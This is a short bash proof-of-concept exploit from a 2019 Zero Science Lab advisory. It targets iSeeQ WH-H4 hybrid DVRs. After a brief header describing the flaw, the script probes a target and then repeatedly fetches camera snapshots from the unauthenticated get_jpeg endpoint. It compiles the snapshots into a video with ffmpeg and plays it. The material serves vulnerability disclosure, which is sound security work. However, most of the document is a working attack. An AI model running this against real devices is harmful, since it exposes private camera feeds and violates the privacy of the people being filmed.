#!/bin/bash # # # iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure # # # Vendor: iSeeQ # Product web page: http://www.iseeq.co.kr # Affected version: WH-H4 1.03R / 2.0.0.P # # Summary: The 4/8/16 channel hybrid standalone DVR delivers high quality # pictures which adopts high performance video processing chips and embedded # Linux system. This advanced video digital platform is very useful to identify # an object from a long distance. # # Desc: The DVR suffers from an unauthenticated and unauthorized live stream # disclosure when get_jpeg script is called. # # Tested on: Boa/0.94.13 # PHP/7.0.22 # DVR Web Server # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2019-5539 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php # # # 28.10.2019 # if [ "$#" -ne 2 ]; then echo "Usage: $0 IP:PORT CHANNEL" exit fi IP=$1 CHANNEL=$2 HOST="http://$IP/cgi-bin/get_jpeg?ch=$CHANNEL" STATUS=$(curl -Is http://$IP/cgi-bin/php/login.php 2>/dev/null | head -1 | awk -F" " '{print $2}') if [ "$STATUS" == "404" ]; then echo "Target not vulnerable!" exit fi echo "Collecting snapshots..." for x in {1..10}; do echo -ne $x curl "$HOST" -o seq-$x.jpg -#; sleep 0.8 done echo -ne "\nDone." echo -ne "\nRendering video..." ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i seq-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p clip.mp4 echo " done." echo -ne "\nRunning animation..." sleep 1 cvlc clip.mp4 --verbose -1 -f vlc://quit